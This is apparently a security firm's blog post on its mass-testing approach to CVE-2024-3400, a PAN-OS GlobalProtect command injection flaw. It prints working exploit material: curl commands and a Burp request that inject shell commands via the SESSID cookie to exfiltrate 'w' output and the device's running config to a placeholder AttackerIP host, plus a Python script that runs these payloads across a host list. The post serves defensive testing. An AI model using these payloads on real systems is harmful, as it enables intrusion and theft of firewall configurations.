From Twitter to Exploit: The Sprocket Security Lifecycle of Exploitation
Our approach to mass exploitation of the latest and greatest vulnerability. On the chopping block, this time around: CVE-2024-3400.
You know why you’re here:
You couldn’t possibly be, right?
icon-info:
You pray for rain, you gotta deal with the mud too. That's a part of it. - Denzel Washington
On Friday, April 12, 2024, Palo Alto released a security advisory titled “CVE-2024-3400 PAN-OS: OS Command Injection Vulnerability in GlobalProtect”.
In this post, I wanted to do something different. This isn’t a traditional technical deep dive, how-to, or your typical rehash of a proof of concept blog post covering the standard technical details of a vulnerability.
I wanted to walk through how we at Sprocket approached this. I’ve written previously about our angle of attack here.
Exploiting N-Day Vulnerabilities at Scale with CPT
Including exploits from Twitter, argumentative GitHub issues, late night VirusTotal perusing, your favorite vendor disclosures, and much more!
Also note, as with everything, this was an incredible team effort. Shouts to puzzlepeaches, BuffaloWill, jpg0mez, hogman_the_intruder, and WiseOne.
At the risk of being accused of pillory and criticizing those who’ve laid the path, please don’t misunderstand. The technical legwork, heavy lifting, and industry inspiration have been done by awesome teams. Notably:
Volexity did the discovery & initial analysis.
Volexity would like to thank Palo Alto Networks for their partnership, cooperation, and rapid response to this critical issue. Their research can be found here. On April 10, 2024, Volexity identified zero-day exploitation of a vulnerability found within the GlobalProtect feature of Palo Alto Networks PAN-OS at one of its network security monitoring (NSM) customers.
watchTowr polished & did the heavy lifting (+ humorous commentary :D) here: https://labs.watchtowr.com/palo-alto-putting-the-protecc-in-globalprotect-cve-2024-3400/
Rapid7 provided excellent analysis with the audible: https://attackerkb.com/topics/SSTk336Tmf/cve-2024-3400/
And badge on the table: Between my writing this and publication, new analysis covering and and maybe even a fully public, weaponized proof of concept (PoC) will have dropped.
What Are Working With
From a high level, CVE-2024-3400 can be summarized:
GlobalProtect (GP), a firewall feature in Palo Alto’s PAN-OS, is vulnerable to command injection that leads to unauthenticated arbitrary code execution.
From our initial understanding, we’ve got two components here:
- An arbitrary file creation (AFC) in the web server
- Command injection in the telemetry feature
A few discovered & disclosed caveats (current at time of writing):
- GlobalProtect Portal or GlobalProtect Gateway are required for exploitation
- If telemetry is enabled, exploitation is not possible without a valid device certificate
- If telemetry is disabled, AFC is possible, but exploitation is not possible. This seems to be the consensus, but is not congruent with our testing. In our opinion, these two are not mutually exclusive. AFC is by itself a nasty primitive, why exclude exploitation because telemetry is disabled?
To boil everything down, an attacker can supply a SESSID (provided by a custom cookie value) that get’s written to disk (this is our arbitrary file create). During the transmission of the telemetry data (which contains the attacker controlled SESSID value), a cURL binary will then execute arguments passed via the telemetry stream.
At this time, disabling telemetry was enough of a stopgap to let Palo customers sleep easy over the weekend. Come Monday morning, we started hearing rumblings. Like this Tweet from Aliz (at watchTowr):
Link: https://twitter.com/AlizTheHax0r/status/1780283428711411881
Or this Reddit thread:
Our Approach
At Sprocket, we work hard to establish and maintain visibility into our customers attack surface. So as soon as this hit our feeds, we immediately sprung into action.
From our ASM platform, we can quickly search across all our customers to identify Global Protect applications. Here’s a sneak peek:
After we export our list, now is time to dig in.
Looking at the rough cURL commands floating around at the time of writing, we have a few to consider. For example, here’s a recognizable cURL command to fulfill arbitrary file creation
curl <https://vpn.acme.org/ssl-vpn/hipreport.esp> -X POST -skiL -H 'Cookie: SESSID=./../../../var/appweb/sslvpndocs/global-protect/portal/images/lookit'
And then here’s another cURL request for command execution:
curl <https://vpn.acme.org/global-protect/login.esp> -k -H 'Cookie: SESSID=./../../../opt/panlogs/tmp/device_telemetry/hour/lookit`curl${IFS}AttackerIP?user=$(w)`'
And here’s a handy Burp Repeater request to snag the running config:
POST /ssl-vpn/hipreport.esp HTTP/1.1
Host: vpn.acme.org
Cookie: SESSID=/../../../opt/panlogs/tmp/device_telemetry/minute/lookit`curl${IFS}<http://AttackerIP/$(cat${IFS}/opt/pancfg/mgmt/saved-configs/running-config.xml%7Cbase64)`>;
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 0
Finally, here’s some easy Python for slow scanning and testing:
import requests
from requests.packages.urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
file_path = "palo-alto-test-list.txt"
with open(file_path, 'r') as file:
hosts = file.readlines()
for host in hosts:
host = host.strip()
try:
print("testing: "+host)
session = requests.Session()
headers = {"Connection":"close","Content-Type":"application/x-www-form-urlencoded"}
cookies = {"SESSID":"./../../../var/appweb/sslvpndocs/global-protect/portal/images/lookit"}
response = session.post("https://"+host+"/ssl-vpn/hipreport.esp", headers=headers, cookies=cookies, verify=False)
print("Host request 1 (write to global-protect/portal/images/lookit): "+host)
print("Status code: %i" % response.status_code)
print("Response body: %s" % response.content)
headers = {"Connection":"close","Content-Type":"application/x-www-form-urlencoded"}
cookies = {"SESSID":"./../../../opt/panlogs/tmp/device_telemetry/hour/lookit`curl${IFS}AttackerIP?user=$(w)``"}
response = session.post("https://"+host+"/ssl-vpn/hipreport.esp", headers=headers, cookies=cookies, verify=False)
print("Host request 2 (curl to collab): "+host)
print("Status code: %i" % response.status_code)
print("Response body: %s" % response.content)
except requests.exceptions.RequestException as e:
print(f"Error accessing {host}: {e}")
That was a quick wrap on our initial take. Up next, and for fun, we take a look at reverse engineering the NGFW to verify our testing payloads:
Patch Diffing CVE-2024-3400 from a Palo Alto NGFW Marketplace AMI
One of the needs during CVE-2024-3400 testing was the ability to test against a live non-production vulnerable instance. We opted for the Palo Alto NGFW AWS Marketplace AMI.
Continuous Human & Automated Security
The Expert-Driven Offensive
Security Platform
Continuously monitor your attack surface with advanced change detection. Upon change, testers and systems perform security testing. You are alerted and assisted in remediation efforts all contained in a single security application, the Sprocket Platform.
Expert-Driven Offensive Security Platform
- Attack Surface Management
- Continuous Penetration Testing
- Adversary Simulations